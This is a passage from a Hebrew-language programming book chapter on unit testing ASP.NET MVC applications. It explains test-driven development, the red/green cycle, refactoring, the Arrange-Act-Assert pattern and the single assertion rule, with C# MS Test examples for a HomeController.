 וד משאר קוד הייצורבדיקה בביד 

  בדיקת נקודות קצה)endpoints (ציבוריות בלבד 

 ל באופן אוטומטי בעת הרצת הבדיקהנכש/החזרת תוצאות עבר 

ונראה כיצד הם באים לידי ביטוי , בסעיפים שלהלן נבחן בהרחבה את הקווים המנחים שהצגנו
 . בכתיבת בדיקות היחידה

 בדיקת מקטעי קוד קטנים

לרוב נבחר למקד את הבדיקה ביחידת הפעולה הקטנה , ם בדיקת יחידהכאשר אנחנו כותבי
מדובר בדרך כלל ברכיב שאינו , #Cעצמים כגון -תיבשפה מונח. ביותר שיש עניין בבדיקתה

. מסוימת כלשהי במחלקה) method(וברוב המקרים מושא הבדיקה יהיה שיטה , גדול ממחלקה
מכיוון שאנחנו רוצים לבצע בדיקות , נותאנחנו ממקדים את הבדיקות שלנו ביחידות קט

כדי שנוכל לוודא שאנחנו אכן בודקים את מה , הבדיקות צריכות להיות קלות להבנה. פשוטות
 . בצורה מדויקת שהתכוונו לבדוק

עובדה זו משמעותית במיוחד . אך נקרא כמה וכמה פעמים, קוד מקור נכתב פעם אחת בלבד
יון לייצג בקוד את הכללים וההתנהגויות המצופות המהוות למעשה ניס, לבדיקות יחידה

נרצה שהמפתח יוכל לקרוא במהירות את הבדיקה , כאשר בדיקת יחידה נכשלת. מהתוכנה
. כדי שיוכל להסיק בקלות על הדרך לתיקון התקלה, ולהבין מה בדיוק הכשל ומה גרם לו

תורמת באופן ממוקדות וקצרות , בדיקת מקטעי קוד קטנים באמצעות בדיקות פשוטות
 .  הישג חשוב לכל הדעות-משמעותי לשיפור בבהירות הקוד 
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 בדיקה בבידוד

היבט חשוב נוסף של כתיבת בדיקות יחידה היא היכולת להתמקד בצורה מדויקת במקור 
מיקוד קוד הבדיקה במנגנוני פעולה מצומצמים הינו חלק חשוב . כאשר מזהים כאלו, לבעיות

עליכם לבודד את הקוד ממקטעי קוד מורכבים אחרים . בכךאך לא די , בהשגת היעד הזה
כדי שבמקרה של כשל תוכלו לדעת בוודאות שהגורם , שמקיימים איתו יחסי גומלין וקשרים
אם יש באגים בקוד . ולא בקוד נלווה שמספק לו שירותים, לכישלון נמצא בקוד שאתם בודקים

 . מיוחד עבורוהם יאותרו על ידי בדיקות יחידה שנכתבות ב, הנלווה

יתרון נוסף של בדיקות בבידוד נובע מהעובדה שהקוד הנלווה ליחידה הנבדקת לא בהכרח 
הדבר נכון במיוחד בעת עבודה בצוותים גדולים עם מספר קבוצות פיתוח . נכתב עדיין

הקבוצות השונות עשויות לעבוד על אלמנטים שונים של היישום ולפתח אותם : פעילות
כיבים שלכם בבידוד תאפשר לכם לא רק להשתחרר מהתלות בסיום של בדיקת הר. במקביל

, אלא גם תעזור לכם להבין טוב יותר כיצד הרכיבים הללו יעבדו זה עם זה, הרכיבים האחרים
 . ולאתר שגיאות עיצוב לפני האינטגרציה הסופית של הרכיבים השונים

 בדיקת נקודות קצה ציבוריות בלבד

ם בביצוע בדיקות יחידה נאלצים להתמודד עם קשיים מרובים מפתחים רבים שאינם מנוסי
שינויים קלים בקוד . בעקבות שינויים שנעשים במנגנוני הפעולה הפנימיים של המחלקה

והצורך לתחזק את בדיקות היחידה בעקבות , עשויים להשבית חלק נכבד מבדיקות היחידה
לקשיים הללו הוא בנייה של בדיקות מקור שכיח . שינויים בקוד הייצור יכול לגרור תסכול רב

 . יחידה שמכילות מידע רב מדי בנוגע לאופן הפעולה של המחלקה הנבדקת

אם תגבילו את עצמכם אך ורק לנקודות הקצה הציבוריות של , בעת כתיבת בדיקות יחידה
תוכלו לבודד את בדיקת היחידה מרוב פרטי היישום , )נקודות האינטגרציה של הרכיב(המוצר 

בצורה זו תוכלו להקטין באופן משמעותי את הסבירות שבדיקות היחידה . ימיים של הרכיבהפנ
 . שלכם תושבתנה כתוצאה משינויים במנגנוני הפעולה הפנימיים של הרכיב

 תוצאות אוטומטיות

ברור שבשלב , מכיוון שאתם עומדים למקד את בדיקות היחידה שלכם במקטעי קוד קטנים
כדי להפיק את התועלת המרבית מבדיקות היחידה . חידה רבותמסוים יצטברו בדיקות י

כדי לוודא שאינכם משבשים ,  קרובות במהלך הפיתוחלעתיםעליכם להריץ אותן , שכתבתם
הוא , אם התהליך הזה לא יבוצע באופן אוטומטי. תפקודים קיימים במהלך העבודה על הקוד

פוך לדבר שאתם שונאים לעשות לה, או גרוע מכך(עשוי לפגוע בצורה קשה בהספק שלכם 
חשוב גם להקפיד שהתוצאות של בדיקות היחידה יתקבלו במונחים ). ולפיכך נמנעים ממנו

 . ולהימנע בכל מחיר מהחזרת תוצאות שנתונות לפרשנות אישית, פשוטים של עבר או נכשל

ה יחיד-תשתית בדיקותרוב המפתחים נעזרים בשירות של , כדי לתמוך בתהליך האוטומציה
)unit-testing framework( .תשתיות מסוג זה מאפשרות למפתח לכתוב בדיקות , ככלל
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ולאחר מכן ליצור קבוצה של כללי , בשפת התכנות ובסביבת התכנות המועדפות עליו
תשתיות . נכשל שהתשתית יכולה להעריך כדי לקבוע אם הבדיקה בוצעה בהצלחה/עבר

אשר יכולה לזהות , )runner(מריץ  שנקראת יחידה מגיעות בדרך כלל עם תוכנה-בדיקות
חלקם : קיימים סוגים רבים ומגוונים של מריצים. ולהריץ בדיקות יחידה בפרויקטי התוכנה

ואחרים כוללים ממשק , חלקים מורצים משורת הפקודה, Visual Studioמשתלבים בסביבת 
יטי בנייה ושרתי בנייה כגון תסר(או אפילו משתלבים עם כלי בנייה אוטומטיים , )GUI(גרפי 

 ). אוטומטיים

 בדיקות יחידה כחלק מתהליך הבטחת האיכות

. רוב המפתחים מחליטים לכתוב בעצמם בדיקות יחידה כדרך לשפר את איכות התוכנה שלהם
ואין זה מפתיע שרוב , בדיקות יחידה משמשות בעיקר כמנגנון הבטחת איכות, במקרה זה

המפתחים . יצור ורק לאחר מכן את בדיקות היחידההמפתחים כותבים תחילה את קוד הי
משתמשים בידע שלהם על קוד הייצור ועל ההתנהגות הרצויה מול משתמש הקצה כדי ליצור 

 . את רשימת הבדיקות שיוכלו לשמש אותם כדי להבטיח שהקוד מתנהג כמצופה

קל מאוד . ההבעיה היא שכתיבת הבדיקות לאחר כתיבת קוד הייצור יוצרת מספר נקודות תורפ
במיוחד אם בדיקות היחידה נכתבות זמן , למפתחים להתעלם מרכיב קוד ייצור כלשהו שכתבו

המפתחים כותבים את קוד הייצור , במקרים לא מעטים, כמו כן. רב לאחר כתיבת קוד הייצור
במקרה כזה דרוש . ורק לאחר מכן מתפנים לכתיבת יחידות הבקרה, במשך ימים ושבועות

קדקן וקפדן כדי להבטיח שכל היבטי קוד הייצור מכוסים בבדיקות יחידה מפתח מאוד ד
סביר להניח שהמפתחים , בעיה נוספת היא שלאחר מספר שבועות של כתיבת קוד. מתאימות

שכביכול , יעדיפו להמשיך לכתוב את קוד הייצור מאשר לעזוב הכול ולכתוב בדיקות יחידה
 . בדיקות נועד לספק מענה לחלק מהבעיות הלו-הפיתוח מונח. אינם במסלול הפעילות הרגיל

 הגדרה: בדיקות-פיתוח מונחה

 הינו מונח לתיאור השימוש )Test-Driven Development - TDD(בדיקות -פיתוח מונחה
ורק ,  של קוד הייצור על ידי כתיבת הבדיקות בשלב הראשוןלעיצובבבדיקות יחידה כבסיס 

. מינימלי שנדרש כדי לעבור בהצלחה את הבדיקות מעבר לכתיבת קוד הייצור ה-אחר כך 
קוד ייצור מלווה בבדיקות :  לכאורה זההTDDהתוצר הסופי של בדיקות יחידה מסורתיות ושל 

ואשר יכולות לשמש למניעת שיבוש , יחידה שמתארות את ההתנהגות הצפויה של הקוד
שמהתבוננות בבדיקות ייתכן מאוד , אם שניהם מבוצעים כהלכה. התנהגויות קיימות תקינות

 . היחידה כלל לא ניתן יהיה להסיק אם הם נכתבו לפני או אחרי קוד הייצור

אנחנו מתייחסים להיבטי , כשאנחנו אומרים שבדיקות היחידה מהוות חלק מהבטחת האיכות
, בדיקות משיג את המטרה הזו-פיתוח מונחה. התהליך שמטרתם לצמצם את הבאגים בתוכנה

כתיבת . העיצוב הינה שיפור איכות TDDהמטרה העיקרית של . משניתאבל מדובר במטרה 
 שאתם כותבים את לפניהבדיקות מראש מאפשרת לתאר את ההתנהגות המבוקשת של הרכיבים 

, אינכם יכולים לכבול את עצמכם לפרטי מימוש ספציפי של קוד הייצור. קוד הייצור עצמו
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, נגנוני הפעולה הפנימיים של הקוד הנבדקבמקום לעסוק במ. מכיוון שהם לא קיימים עדיין
בדיקות היחידה הופכות לצרכניות של קוד הייצור בצורה שקולה למדי לאופן שבו הקוד ינוצל 

בצורה זו הבדיקות יכולות לעזור . על ידי הרכיבים שהוא נועד לשרת בעיצוב הסופי של התוכנה
 . משות הראשוניות בממשקשל הרכיבים בתור המשת) API(בעיצוב ממשקי תכנות היישום 

 ירוק/מחזור אדום

כתיבת בדיקות : כל ההנחיות לכתיבת בדיקות יחידה שהצגנו בסעיף הקודם נשארות בתוקף
מכיוון שהבדיקות נכתבות . והרצתן באופן אוטומטי, קטנות וממוקדות עבור רכיבים מבודדים

 :י הדפוס המחזורי הבא קרובות על פלעתיםבדיקות מתבצע -פיתוח מונחה, לפני קוד הייצור

 כתיבת בדיקות יחידה .1

 )מכיוון שקוד הייצור טרם נכתב(הרצת הבדיקה וסיומה בכישלון  .2

 כתיבת קוד ייצור מינימלי שיאפשר עמידה בבדיקה .3

 שכתוב הבדיקה והרצה מוצלחת .4

נהוג לכנות את דפוס . יש לבצע את השלבים הללו באופן מחזורי עד להשלמת קוד הייצור
היחידה - מכיוון שרוב תשתיות בדיקת)red/green cycle(ירוק /מחזור אדוםהפעולה הזה 

בצבע  -ובדיקות מוצלחות ,  בצבע אדוםUIאלמנט /מייצגות בדיקות כושלות באמצעות טקסט
אל תכתבו קוד ייצור חדש אם אין ברשותכם בדיקת . חשוב להקפיד על התהליך הזה. ירוק

הפסיקו לכתוב , ברגע שבדיקת היחידה מצליחה. ת את עבודתכםיחידה כושלת שיכולה להנחו
לאחר שתשלימו מספר ). אלא אם כן יצרתם בדיקת יחידה חדשה שנכשלת(קוד ייצור 

עליכם לכתוב את . תבינו בדיוק מתי הרגע הנכון להפסיק לכתוב קוד ייצור חדש, מחזורים
תארו ,  אם אתם להוטים להמשיך.ואז לעצור, המינימום הנדרש כדי לעבור את בדיקת היחידה

מעבר לכך שכל . את ההתנהגות החדשה שברצונכם ליישם על ידי כתיבת בדיקה נוספת
עובדה שתורמת באופן משמעותי לאיכות היישום על , תפקודי היישום שלכם מתוארים היטב

הקפדה על התהליך שתיארנו גם מחייבת לעצור ולחשוב האם התפקוד , ידי צמצום הבאגים
והאם הוא מצדיק את ההשקעה שתידרש כדי לספק לו , ש שברצונכם להוסיף באמת נחוץהחד

 . תמיכה בטווח הארוך

ייתכן שתידרשו לבצע ניפוי של הקוד כדי . דפוס הפעולה הזה יכול גם לשמש לתיקון באגים
תוכלו לכתוב בדיקת יחידה שמתארת את , אבל לאחר שתגלו אותו, לגלות את מהות הבאג

היתרון . ואז לכתוב את קוד הייצור לתיקון השגיאה, לראות אותה נכשלת,  הרצויהההתנהגות
בגישה הזו הוא שבדיקות היחידה הקיימות מבטיחות שלא תשבשו התנהגויות קיימות תקינות 

 . במהלך הטיפול בשגיאה

 שכתוב פנימי

יים הקוד שלכם ישתבש במהרה כתוצאה מכל השינו, אם תאמצו את דפוס העבודה שהצגנו
הרי אמרנו לכם לעצור כשהאור מתחלף , עם זאת. והעדכונים הקטנים שתצטרכו להוסיף לו
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אז איך אתם אמורים לעשות סדר בערבוביה שנוצרה כתוצאה מהערמת שינויים קטנים , לירוק
 . )refactoring(שכתוב פנימי התשובה היא ? זה על גבי זה

לכן חשוב מאוד שנבהיר בדיוק למה , תלמונח שכתוב פנימי יכולות להיות מספר משמעויו
לתהליך שינוי פרטי המימוש המונח שכתוב פנימי משמש להתייחסות שלנו . אנחנו מתכוונים

המשמעות בפועל . של קוד הייצור מבלי לשנות את ההתנהגויות החיצוניות החשופות שלו
. היחידההיא ששכתוב פנימי הוא תהליך שמבוצע רק לאחר הרצה מוצלחת של כל בדיקות 

. בדיקות היחידה צריכות להמשיך להחזיר מצב ירוק, בזמן השכתוב והעדכון של קוד הייצור
אם הפעולות שאתם מבצעים מחייבות . אין לשנות את בדיקות היחידה בזמן השכתוב הפנימי

 פעולות -מוחקים או משנים תפקודים , פירושו שאתם מוסיפים, שינוי של בדיקות היחידה
עליכם ". ירוק/מחזור אדום"להתבצע במסגרת הדפוס המחזורי שתואר בסעיף שהיו צריכות 

שכתוב פנימי צריך . להילחם בפיתוי לשנות את בדיקות היחידה ואת קוד הייצור במקביל
של שינויי קוד מובנים אשר אינם גורמים לבדיקות היחידה , כמעט מתמטי, להיות תהליך מכני

 . להיכשל

 "אַמֵּת, פעל, ארגן"שת עיצוב בדיקות באמצעות גי

 אַמֵּת, פעל, ארגןחלק גדול מהדוגמאות לבדיקות יחידה בספר מבוססות על מבנה בשם 
)Arrange, Act, Assert , 3 -ובקיצורA .( המונח) הוטבע על ידי ויליאם וייק בפוסט

http://weblogs.java.net/blog/wwake/archive/2003/12/tools_especiall.html (ה מתאר מבנ
 : של בדיקות יחידה שמיוצג באמצעות שלוש פסקאות

  ארגן)Arrange( :הכנת הסביבה. 

 פעל) Act( :קריאה לשיטה הנבדקת. 

  אַמֵּת)Assert(:בדיקת התוצאה . 

 :בדיקות יחידה שנכתבות בסגנון זה נראות כמו זו
[TestMethod] 

public void PoppingReturnsLastPushedItemFromStack() 

{ 

 // Arrange 

 Stack<string> stack = new Stack<string>(); 

 string value = "Hello, World!"; 

 stack.Push(value); 

 

 // Act 

 string result = stack.Pop(); 

 

 // Assert 

 Assert.AreEqual(value, result); 

} 
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 לעתים. קה כדי להמחיש את מבנה הבדיAssert- וArrange ,Actהערות את ההוספנו לקוד 
סעיף הארגון מוקדש ליצירת , במקרה זה. קרובות תמצאו הערות כאלו גם בבדיקות אמיתיות

סעיף . אלה התנאים המקדימים הנדרשים לביצוע הבדיקה. מחסנית ריקה והזנתה בערך יחיד
בסעיף האימות , לסיום. היא השורה היחידה שנבדקת, שליפת הערך מהמחסנית, הפעולה

אם הבדיקות . האם הערך המוחזר זהה לערך שהוכנס למחסנית: וגית יחידהנבדקת התנהגות ל
סביר להניח שלא תצטרכו להשתמש בהערות ותוכלו להסתפק בשורות , שתעשו מספיק קטנות

 . ריקות להפרדה בין חלקי הבדיקה

 חוק האימות היחיד

א שאנחנו  כוללת אימות יחיד שמטרתו לווד3Aהדוגמה של בדיקת מחסנית באמצעות תבנית 
אבל יש התנהגויות רבות נוספות שניתן לבדוק בהקשר , מקבלים בחזרה את הערך המבוקש

מכיוון שאנחנו יודעים שלאחר שליפת הערך מהמחסנית היא אמורה להיות , לדוגמה. הזה
אם ננסה לשלוף ערך נוסף היא אמורה לזרוק ? מדוע שלא נבדוק שהיא אכן ריקה, ריקה

 ? דוק גם את זהאז למה שלא נב, שגיאה

התשובה היא שבאופן כללי מומלץ להימנע מאימות של יותר מהתנהגות אחת בכל בדיקת 
וזו בדרך כלל התנהגות , בדיקת יחידה טובה מתמקדת בתפקוד צר ככל שניתן. יחידה

, "כל התכונות של מחסנית שהתרוקנה"ההתנהגות שאנחנו בודקים כאן היא לא . ספציפית
כדי לבדוק את ". שליפת ערך ידוע ממחסנית לא ריקה"מת שמהותה אלא ההתנהגות המסוי

אחת לכל התנהגות : שאר מאפייני המחסנית הריקה עלינו לכתוב בדיקות יחידה נוספות
 . ספציפית שברצוננו לאמת

סביר יותר שבאג בקוד הייצור שלכם , אם תקפידו על בניית בדיקות מצומצמות וממוקדות
עובדה זו תאפשר לכם לאתר את התקלה ולתקנה , דה אחת בלבדיגרום לכשל של בדיקת יחי

או במספר בדיקות (אם תשלבו מספר התנהגויות בבדיקת יחידה אחת . הרבה יותר בקלות
ויהיה עליכם , תקלה התנהגותית אחת עשויה לגרום לכשל של עשרות בדיקות יחידה, )יחידה

 .  מהן כדי להבין מה בדיוק הבעיהלסקור את ההתנהגויות השונות שמטופלות על ידי כל אחת

,  להתייחסות לגישה הזולעתיםמשמש ) single assertion rule( חוק האימות היחיד הביטוי
 לעתים. Assertאך אל תחשבו שזה אומר שהבדיקות שלכם צריכות להכיל קריאה אחת לשיטה 

ית ספציפית  מספר פעמים לצורך אימות של התנהגות לוגAssert-קרובות תידרשו לקרוא ל
 . כל עוד תקפידו על בדיקה של התנהגות אחת בלבד בכל פעם, אין פה כל בעיה. יחידה

 יצירת פרויקט בדיקות יחידה
 Visual Studio 2010 מגיעה עם כל המהדורות בתשלום של MS Testהיחידה -תשתית בדיקות

משתמשים בסביבת אם אתם . )Visual Web Developer Express 2010גרסה אינה כלולה בהיא (
ומכילה ,  גם בגרסאות החינמיותכלולהתשתית בדיקות היחידה , Visual Studio 2012הפיתוח 

ניתן אומנם ליצור פרויקט בדיקות יחידה .  משופר)unit test runner(בדיקות יחידה גם מריץ 
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 אולם תידרשו להשלים הכנות מקדימות רבות לפני שתוכלו, Visual Studioישירות מתוך 
 הוסיף ASP.NET MVCצוות הפיתוח של .  שלכםMVCלהתחיל לבצע בדיקות יחידה ביישומי 

כמוצג , MVCבמיוחד ליישומי יחידה אפשרויות בדיקות  New Projectשיח -לתיבת הדו
 . 13-1בתרשים 

 

 13-1תרשים 

 ASP.NET כדי להורות לאשף הפרויקט החדש של Create a Unit Test Projectהתיבה סמנו את 

MVC ליצור פרויקט בדיקות יחידה נלווה ולאכלס אותו עם מערך של בדיקות יחידה 
מטרתן של בדיקות היחידה הסטנדרטיות היא לסייע למשתמשים חדשים להבין . סטנדרטיות

 . MVCכיצד לכתוב בדיקות עבור יישומי 

 תשתיות בדיקות יחידה חיצוניות 

 מאפשרת ASP.NET MVCקט החדש של  באשף הפרויTest Frameworkהרשימה הנפתחת 
עותק בתשלום של למשתמשים ב. יחידה ברצונכם להשתמש-לבחור באיזו תשתית בדיקות

Visual Studio , הרשימה כוללת אתVisual Studio Unit Test , וניתן להרחיבה עם תשתיות
כדי , היחידה המועדפת עליכם-עיינו בתיעוד של תשתית בדיקות. יחידה חיצוניות-בדיקות

 . ASP.NET MVCלבדוק אם היא מספקת תמיכה ליישומי 
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 סקירת בדיקות היחידה הסטנדרטיות

תבנית היישום הסטנדרטית כוללת את הפעולות המינימליות שנדרשות כדי שתוכלו להתחיל 
 עבורכם באופן פותחתהתבנית ,  יוצרים פרויקט חדשםכאשר את. על היישום שלכםלעבוד 

. )Contact- וIndex ,About( שיטות פעולה 3מכיל אשר , HomeController.csאוטומטי קובץ 
 :Indexקוד המקור של השיטה 

public ActionResult Index() 

{ 

 ViewBag.Message = "Modify this template to jump-start 

          your ASP.NET MVC application."; 

 return View(); 

} 

ודעת פתיחה מוצבת בנתון מטיפוס חלש שנשלח לתצוגה ה. זהו קטע קוד פשוט למדי
אם אתם מצפים מהבדיקה ). View(ולאחר מכן מוחזרת תוצאת תצוגה , )ViewBagהאובייקט (

פרויקט בדיקות היחידה הסטנדרטי מכיל . אינכם טועים, של היחידה הזו להיות יחסית פשוטה
 :Indexבדיקה אחת ויחידה לפעולה 

[TestMethod] 

public void Index() 

{ 

 // Arrange 

 HomeController controller = new HomeController(); 

 

 // Act 

 ViewResult result = controller.Index() as ViewResult; 

 

 // Assert 

 Assert.AreEqual("Modify this template to jump-start your 

  ASP.NET MVC application.", result.ViewBag.Message); 

} 

ושלוש שורות הקוד הקצרות שמרכיבות , 3Aהיא מבוססת על מבנה : זו בדיקת יחידה לא רעה
שיטת הפעולה . גם בבדיקה הפשוטה הזו יש מקום לשיפור, עם זאת. אותה קלות מאוד להבנה

 :אך למעשה היא מבצעת שלוש פעולות נפרדות, שלנו מונה אומנם שתי שורות בלבד

  הצבת הודעת השגיאה באובייקטViewBag. 

 החזרת תוצאת תצוגה. 

 שימוש בתצוגת ברירת המחדל על ידי תוצאת התצוגה. 

חוץ (ניתן לראות שבדיקת היחידה הזו נבדקים למעשה שניים מתוך שלוש הפעולות שפורטו 
, בדיקות יחידה צריכות להיות קטנות וממוקדות ככל הניתן, כאמור). מזה שיש לה באג קטן

ואחת עבור תוצאת , אחת עבור ההודעה(ור לפחות שתי בדיקות ולכן במקרה הזה עלינו ליצ
 . בוודאי שלא נעצור אתכם, אם אתם רוצים לכתוב שלוש). התצוגה
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 משמשת להמרה #C בשפת asמילת המפתח . asהבאג בבדיקה נובע מהשימוש במילת המפתח 
, עם זאת. null, היא מחזירה ערך ריק -ובמידה שהדבר אינו מתאפשר , של ערך לטיפוס נתון

נרשום זאת . null מבלי לבדוק אם היא resultבשלב האימות  מתבצעת התייחסות להפניה 
 .nullשיטת הפעולה בשום מצב אינה צריכה להחזיר : לעצמנו כהתנהגות נוספת שצריכה להיבדק

 משהו שגורם לנו לתהות אם זה באמת הדבר הנכון -מעניין חיווי קוד מספקת ) cast(ההמרה 
ברור שבדיקת היחידה צריכה מופע של ? האם ההמרה באמת הכרחית, במקרה זה. תלעשו

האם ניתן . אך לא כאן הבעיה, ViewBag כדי שתהיה לה גישה למאפיין ViewResultהמחלקה 
 : וגם מומלץ, אפשר? לעדכן את קוד הפעולה באופן שיוותר על ההמרה

public ViewResult Index() 

{ 

 ViewBag.Message = "Modify this template to jump-start 

         your ASP.NET MVC application."; 

 return View(); 

} 

 ViewResult כללי לטיפוס ActionResultהודות לשינוי הערך המוחזר של שיטת הפעולה מטיפוס 
 .שיטת הפעולה הזו תמיד מחזירה תצוגה: הייעוד של הקוד שלנו נהיה ברור יותר, ספציפי

מארבע , השינוי הקל הזה בקוד הייצור אִפשְֵר להקטין את מניין ההתנהגויות שעלינו לבדוק
במקרים מסוימים , למשל(ViewResult אם יהיה צורך בעתיד להחזיר משהו שאינו . לשלוש בלבד

תצטרכו לשנות את הקוד שוב אל הטיפוס , )תחזירו תצוגה ובאחרים תבצעו הפניית המשך
מכיוון , ברור שעליכם לבדוק גם את הטיפוס המוחזר בפועל, במקרה זה. ActionResultהמוחזר 

 :כעת נפצל את הבדיקה לשניים .שהערך המוחזר אינו תמיד מאותו טיפוס
[TestMethod] 

public void IndexShouldAskForDefaultView() 

{ 

 HomeController controller = new HomeController(); 

 

 ViewResult result = controller.Index(); 

 

 Assert.IsNotNull(result); 

 Assert.IsNull(result.ViewName); 

} 

 

[TestMethod] 

public void IndexShouldSetWelcomeMessageInViewBag() 

{ 

 HomeController controller = new HomeController(); 

 

 ViewResult result = controller.Index(); 

 

 Assert.AreEqual("Modify this template to jump-start your 

  ASP.NET MVC application.", result.ViewBag.Message); 

} 



 357    בדיקות יחידה:13פרק 

אך פתרנו , הן עדיין פשוטות. עם הבדיקות החדשות אנחנו יכולים להיות הרבה יותר שקטים
ופיצלנו את הבדיקה של שתי , את הבאגים הקלים שהשפיעו על הבדיקה המקורית

בנוסף גם קבענו לבדיקות שמות ארוכים . ההתנהגויות הנפרדות שמתרחשות בשיטת הפעולה
כים ותיאוריים תאפשר להבין בחלק גדול מהמקרים מה בחירה בשמות ארו. ותיאוריים יותר

סביר להניח שלא יהיה לכם מושג . הסיבה לכשלון הבדיקה מבלי להסתכל בקוד הפנימי שלה
אך הרבה יותר קל לדעת מה הבעיה כאשר נכשלת ,  להיכשלIndexמה גרם לבדיקה בשם 

 . IndexShouldSetWelcomeMessageInViewBagשיטה בשם 

 לויות בבדיקות היחידהביטול כפי

בקוד הייצור . ייתכן ששמתם לב שקיימת חפיפה משמעותית בקוד של שתי בדיקות היחידה
האם כדאי לעשות . נבצע לעתים קרובות שכתוב פנימי כדי לנקות את הקוד ולבטל כפילויות

 ?זאת גם בבדיקות היחידה

רוב תשתיות . ילויותאך עליכם לשים לב היכן וכיצד אתם מבטלים את הכפ, הדבר אפשרי
. בדיקות היחידה מספקות אפשרות לכתיבת קוד שמורץ לפני כל בדיקה במחלקת בדיקה

נשכתב את שתי בדיקות , לדוגמה. זהו המיקום האידיאלי להעברת הקוד הכפול שלנו, לכאורה
 :כך, היחידה החדשות שלנו

[TestClass] 

public class IndexTests 

{ 

 private HomeController controller; 

 private ViewResult result; 

 [TestInitialize] 

 public void SetupContext() 

 { 

  controller = new HomeController(); 

  result = controller.Index(); 

 } 

 [TestMethod] 

 public void ShouldAskForDefaultView() 

 { 

  Assert.IsNotNull(result); 

  Assert.IsNull(result.ViewName); 

 } 

 [TestMethod] 

 public void ShouldSetWelcomeMessageInViewBag() 

 { 

  Assert.AreEqual("Modify this template to jump-start 

         your ASP.NET MVC application.", 

  result.ViewBag.Message); 

 } 

} 
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אך מצד שני העברנו את , מצד אחד אין ספק שמזערנו את הכפילויות בקוד? האם קוד זה עדיף
הסרת הקוד המקדים עשויה . מחוץ לשיטת הבדיקה) act(והפעולה ) arrange(חלקי הארגון 

במיוחד כשמדובר במחלקות בדיקה ענפֵוֹת שמכילות בדיקות , להקשות על הבנת הבדיקה
יש הטוענים שיש להשאיר כפילויות למען : תחים הדעות חלוקותבקרב קהילת המפ. מרובות

 . ואחרים טוענים שיש לצמצם את הכפילויות כדי להפחית את עומס התחזוקה, הבהירות

כדאי לכם להשתמש במחלקת בדיקה אחת , אם בכוונתכם לבצע בדיקות יחידה בצורה הזו
במקום לקבץ את ". מקדים משותףקוד " היא רשֵקְהֶהמשמעות של , במקרה הזה. רשֵקְהֶלכל 

צריך לקבץ יחדיו בדיקות , כל הבדיקות עבור מחלקת ייצור כלשהי תחת מחלקת בדיקה אחת
יהיו , PushTestsבמקום מחלקות בדיקה בעלות שמות כגון . בעלות קוד מקדים משותף

 . ואחרות, EmptyStackTestsמחלקות בעלות שמות 

הוא " מחלקת בדיקה אחת לכל מחלקת ייצור" ארגון של ניסיון לבצע שכתוב פנימי שכזה לפי
לא תוכלו , בדיקות למחלקת בדיקה יחידה) ואף מאות(לאחר הוספת עשרות . מתכון לאסון

ויהיה קשה מאוד , להתמודד עם ההכנות המקדימות הנדרשות לביצוע כל הבדיקות הללו
אנחנו ממליצים , לכן. דהלהבין אילו שורות של קוד מקדים נדרשות לכל אחת מבדיקות היחי

כדי לאפשר עבודה תקינה עם , בתוקף לעבור לארגון של מחלקת בדיקה יחידה לכל הקשר
 . בדיקות היחידה

 בדקו רק את הקוד שאתם כתבתם

 TDDאחת הטעויות הנפוצות שמבוצעות על ידי מפתחים חסרי ניסיון בבדיקות יחידה ופיתוח 
הבדיקות צריכות להתמקד .  שלא במתכווןלעתים, חרהיא בדיקת קוד שנכתב על ידי מישהו א

ניקח לדוגמה את שיטת . ולא בקוד או במהלך הלוגי שעליהם הן מבוססות, בקוד שנכתב
 :הפעולה הבאה

public ActionResult About() 

{ 

 return View(); 

} 

טה ולפיכך גם בדיקת היחידה של הקוד צריכה להיות פשו, זוהי שיטת פעולה פשוטה ביותר
 :למדי

[TestMethod] 

public void AboutShouldAskForDefaultView() 

{ 

 HomeController controller = new HomeController(); 

 

 ViewResult result = (ViewResult)controller.About(); 

 

 Assert.IsNotNull(result); 

 Assert.IsNull(result.ViewName); 

} 
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) pipeline(ותצוגה ממומשת על ידי קו צינור ,  פעולת בקר מופעלתדברים רבים קורים כאשר
ונעשות קריאות לשיטות הללו על ידי שימוש , MVCשיטות פעולה מאותרות על ידי : MVCשל 

התוצאה מתקבלת , )אם ישנם(בקישור למודל כדי לספק ערכים לפרמטרים של הפעולה 
מכיוון שביקשנו את תצוגת ברירת . והפלט המתקבל מוחזר אל הדפדפן, מהשיטה ומורצת

, )כדי להתאימה לשם הפעולה שלנו (Aboutגם המערכת מנסה לאתר תצוגה בשם , המחדל
 .  כדי למצוא אותהViews/Shared/~ ובתיקייה Views/Home/~והיא תחפש בתיקייה 

הבדיקה מתמקדת אך . הקוד שמאחורי התהליכים הללו כלל אינו מעסיק את בדיקת היחידה
בדיקות אשר בודקות יותר מרכיב אחד . ולא בכל הרכיבים שמסייעים לו, בקוד שנבדקורק 
אם תסתכלו היטב בקוד תראו . )integration tests(בדיקות אינטגרציה זמנית נקראות -בו

 MVCמכיוון שמדובר בהתנהגויות שמסופקות על ידי תשתית , שהתהליכים הללו אינם נבדקים
עלינו לקבל כהנחת מוצא , מבחינת בדיקת היחידה. תבנוולא על ידי הקוד שכ, עצמה

בדיקת תקינות העבודה של כל הרכיבים . שהתשתית יודעת לעשות את כל הדברים הללו
 . אך הדבר אינו נכלל בהגדרת התפקיד של בדיקות היחידה, במשותף חשובה לכשעצמה

. Aboutאה לשיטה מדובר בתוצאה הישירה של הקרי. ViewResultהבה נתמקד לרגע במחלקה 
?  על פי ברירת מחדלAboutהאם לא נכון לבדוק לפחות שהיא מסוגלת לאתר את התצוגה 

 MVCתבנית (שהרי מדובר בקוד שלא כתבנו בעצמנו , כמובן שהתשובה לשאלה הזו שלילית
גם אם היה מדובר במחלקת תוצאת פעולה . אבל אפילו הטיעון הזה אינו הכרחי, )מספקת אותו

כוחות עצמנו התשובה הייתה נשארת שלילית מכיוון שזה לא הקוד שאנחנו שבנינו ב
אנחנו לא צריכים לדעת שום דבר . Aboutהקוד הנבדק הוא קוד הפעולה . מעוניינים לבדוק

ובדיקת ההתנהגות שלו היא , מעבר לעובדה שהיא משתמשת בטיפוס תוצאת פעולה מפורש
נוכל להניח בבטחה שבין שהקוד . ציפי הזהתפקידה של בדיקת היחידה שמיועדת לקוד הספ
קוד תוצאת הפעולה נבדק באופן , ASP.NETהזה נכתב על ידכם ובין שנכתב על ידי צוות 

 . עצמאי בצורה מספקת

עצות שימושיות לביצוע בדיקות יחידה ביישומי 
ASP.NET MVC  

ותר מספר בדיקות ולכן נוכל לבחון בצורה מעמיקה י, ברשותכם נמצאים כעת הכלים הדרושים
 . ASP.NET MVCיחידה טיפוסיות ליישומי 

 בדיקת בקרים

